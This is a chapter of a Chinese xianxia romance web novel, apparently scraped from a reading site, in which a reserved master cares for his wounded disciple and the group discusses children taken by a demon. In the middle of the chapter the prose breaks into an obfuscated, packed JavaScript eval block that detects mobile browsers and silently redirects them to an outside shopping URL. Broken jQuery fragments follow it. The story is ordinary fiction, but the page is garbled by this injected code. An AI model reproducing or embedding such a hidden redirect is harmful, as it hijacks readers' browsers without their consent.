11. 应神仙

作品:《论清冷师尊如何维持体面

    一双眼睛满是探究。


    两股目光相撞,却是他先败下阵来,周生绥避开视线,顺带收回捏着方帕的手,可当那湿润润的丝帛与凝着水珠的脸颊分开时,一只手忽地出现拦住了他。


    不,准确来说,是在他的默许下抓上了。


    那手缠着纱布,露出的五根手指白皙纤长,从外向内紧扣住他的手腕,攥得用力,指尖都泛起了白。


    可这样的力道于他而言,不过蜻蜓点水,不施半点灵力的招式,他只需轻轻一拨,便可以轻易地撤离。


    但此刻比起挣脱开手,更令人挂怀、值得人深思的不应该是她为什么要掣住他的手么?这样的举动在他看来是不满的意思。


    难道是师尊用的力道又大了?


    可是阿芮你方才舒展的眉,和发出的轻微到除了他以外没有人能听到的轻吁声,都是你觉得惬意时才会露出的情态啊。


    那便只能是不喜师尊为你拭面了……为什么呢,是怕他么?


    可他又觉得并非如此……


    阿芮并不怕他,至少从那天在暗窟里的反应来看是这样的。


    她也并不敬他,至少从那直白的目光和吞吃他掌中丹药的举动上来说是这样的。


    为什么呢,我不是你的师尊么?


    为什么要不喜师尊呢?


    是因为那日师尊在你面前流露出脆弱恶心的情态,让你觉得厌恶了么?


    果然,他就知道他就知道他就知道——


    那软弱的样子没有人会喜欢的,没有人没有人——


    “师尊?”


    一道熟悉的声音在周生绥耳畔响起,若一滴雨水骤然滚落入池,激荡起涟漪,令他瞬时收拢了越发纷杂的思绪。


    他将黏在手腕上的视线偏移开,又重新落回她的脸上。


    许是因长时间没开口说话,沈明芮的声音带着些哑,像枝叶被风拂过后的摩挲声。


    虽只短短吐露了两个字,还是被周生绥敏锐地捕捉到了,他什么也没说,只是扯动另一只未被她困住的手,微微弯起指节。


    下一瞬,榻旁的小矮几上搁置的茶盏便飞来,在榻上人面前转了个圈,随后稍稍倾斜,在她的唇前停住。


    沈明芮的视线这才从榻旁坐着的人身上移开,落在距离自己不过两指远的杯盏,看见杯中清亮的水,这时才发觉喉咙紧得厉害。


    她下意识抬手欲支起身,这才发觉自己还抓着师尊的手,匆忙放下。


    她方才醒来便对上师尊那张没有表情的脸,还以为又是在做梦,一时间才失了分寸。


    这下清醒过来,便不敢造次了,直起身子,解释的话还未出口,那刚离了两指远的茶盏便又凑上来,微凉的杯壁轻抵在她的下唇。


    这屋中除了她与师尊再无旁人,那这操纵茶盏的人,就只能是师尊了。


    可师尊……


    她撩起眼皮,粗粗看了榻边人一眼,他依旧注视着她,只是脸上仍没什么表情,与她先前在太岐峰上见过他时的那几次一样,浑身上下都没什么人味儿,说是一尊木头雕出的人像都不为过。


    这样的人,竟如此心细如发么?还知道给她斟茶。


    见她迟迟没有下文,已送到嘴边沉寂了半晌的茶盏,像是活过来了一般,先发了难,自顾自在她面前转起圈来,看上去颇为着急。


    沈明芮探身,朝那荡起水波的杯子抿了一口,下一瞬那茶盏便消停了不少,只是还不待她将嘴里的水完全咽下,刚飞远的茶盏便又凑到跟前,央求着她再来一口。


    明明入目是只青灰暗淡的粗瓷,没有人的五官可以分辨表情,可这灵巧的动作偏生令她感觉到央求之意。


    她抬眸看向身侧坐着、操纵茶盏的人,这才发觉不知何时,师尊已悄然别过了脸。


    这样便看不见他的神情了。


    沈明芮顺着那杯盏的动作又喝了一口,只是这次杯盏扬得高了些,以防杯中的水露出濡湿被褥,她只得对着杯口猛灌一口。


    咽得急了,身体下意识绷紧,连续的喘咳。


    一旁的周生绥倒是没料到这一遭,他修行多年,对灵力的运用已是相当老道精准,只是驱使个杯子,不想还有失手的时候。


    但他不知道的是恰恰是这种精准才使他出了差错,这托着茶盏的灵气已宛若自己的手,可他又从未做过侍茶的活计,此刻就算是换成他亲自为之恐怕也还是要出岔子。


    见小弟子咳得厉害,双颊都已涨红,他忙抬手在她脊背上轻拍,恍惚记得儿时长辈也是如此待他的。


    不知是否是这力道适中又富有节律的拍打起了效,沈明芮突然骤起地痉挛已舒缓了很多,绷紧的身体也松活下来。


    她下意识要道谢,只是这即将出口的谢字在对上那距她不过半臂的眼睛时,又被她囫囵咽了下去。


    许是她眼中含泪的缘故罢,师尊那一向古井无波、淡漠异常的脸上竟无端被她瞧出些柔情,尤其是那一双眼,似乎蒙上了一层雾,潋滟若春水。


    不待她细瞧,一道声音从房门处传来,她循声看去,再回首时,师尊已撩衣起身,伫立在榻侧。


    唯余一道清浅的香气还萦绕在鼻尖,难以消散。


    沈明芮知道这是师尊身上所特有的香气,只因这香气与那日在穷极崖上受罚在狐裘上嗅到的香味一样。


    闻起来清淡,可一旦沾上了,几日都消散不尽。


    “仙君,新晒的药好了。”


    原是谢仁前来送药,他话音刚落,房门便开了。


    他旋即缓步入内,甫一进来,便看见榻上已生龙活虎的沈明芮,先是吃了一惊,随后才露出个笑。


    “小仙师今日竟醒了,不枉仙君这两日的悉心照料。”


    谢仁手拿着竹箩,行走间箩上的草药窸窣有声,不多时已行至房中的一条长案旁,拨弄着干脆的草药。


    “谢仁?”沈明芮看着那张熟悉的脸,很快便记起了他的名字,不过此时比起客套的寒暄问候,她却是更在意旁的,“两日,我竟睡了两日?”


    她转头看向一旁的师尊:“我昏睡这两日,师兄师姐他们找到被掳走的人了吗?”


    她还没忘谢仁之前说那大妖还掳走了几个孩童的事。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468865|201367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “儋元已经找过了整座山,但至今一个孩童还未寻到……”


    原来自沈明芮昏睡后,李儋元便带着溪玉将这后山,连带着大妖在地下挖出的巢穴都翻了一遍,可谓是掘地三尺,可即便如此还是没有寻到那几个孩童的踪迹。


    倒是寻到了半月以前被掳走的人的尸骨。


    此话一出,房中顿时陷入死寂,谢仁与沈明芮皆听懂了周生绥的言下之意——整座山都寻不到孩子踪迹,这些孩子多半是被大妖吃了,尸骨都未吐。


    毕竟被掳走的孩童皆年幼,身骨还未长成,谁又知道妖啖肉的时候剔不剔骨……


    “我倒是觉得他们还活着。”


    一道男声沉吟出声,打破了屋内沉寂,与此同时衣料的摩挲声和捡拾药草的窸窣声接连响起。


    沈明芮闻声朝谢仁看去,面露疑惑,谢仁说这话时面容沉静,甚至还有闲心拨弄竹箩里的药材,不像是为了调和气氛才说的好话,倒像是真了解什么旁的


    “你怎么如此笃定?”她问道。


    谢仁称药的手一顿,放下手中的称,转过身来:“并非笃定,我只是希望如此罢了,上苍垂怜,说不定能听到祈愿,放他们一条生路。”


    “咕嘟——噗噗——”


    小灶上的药罐翻腾,奔涌的热气冲撞起来,只把上方的盖子撞得咯咯直响,恍若小儿啼笑。


    谢仁不再多言,焦急朝小灶走去,捏起袖子垫在手下,不多时药盖被他挑开,白溶溶的雾气涌出,与他灰白的衣袍撞在一起,难舍难分。


    “仙师,药熬好了,我先为你盛出备着罢。”


    “……好,多谢。”


    等待药凉的间隙,沈明芮才有空打量起四周,这屋子虽狭小,采光却极好,南边开着窗子,日光倾洒,整个屋子都亮堂堂的。


    谢仁依旧在屋中长案那处忙活,无暇顾及他们,沈明芮趁机扯了扯身旁人的衣袖,悄声问道。


    “这是哪?”


    周生绥觑她一眼,知晓她压低声音就是想要接下来的话不被外人听见,便掐了个法诀,在他二人周围建了座无形的障壁,阻绝声音。


    “这是谢仁的房舍,前日在山脚处碰见的,知道你昏睡急需找个地方休整,他便收拾出了间屋子。”


    “其他呢,他当时可还说了旁的?”


    “旁的?”周生绥对那日的事情记得格外清楚,在他看来谢仁当日除了有些殷勤外,并无异常,但见着小弟子目光殷切,他便照着当日谢仁的话,对着身旁人又重复了一遍。


    “某家中还有闲置房屋,如若不嫌,可暂时在此歇脚,仙师受了伤,某还有些药材可供取用。”


    “这样啊……”


    沈明芮沉吟良久,就这套说辞来说确实是没什么问题,可她心里总是隐隐不安,尤其是听见谢仁方才的话后。


    “仙师——仙师——”


    谢仁的声音从障壁后传来,周生绥设下的障壁只可阻绝里界的声音不被外界听见,却不阻外界声音向内涌入。


    听见这道声音,界内的两人皆是齐齐转头,看向他。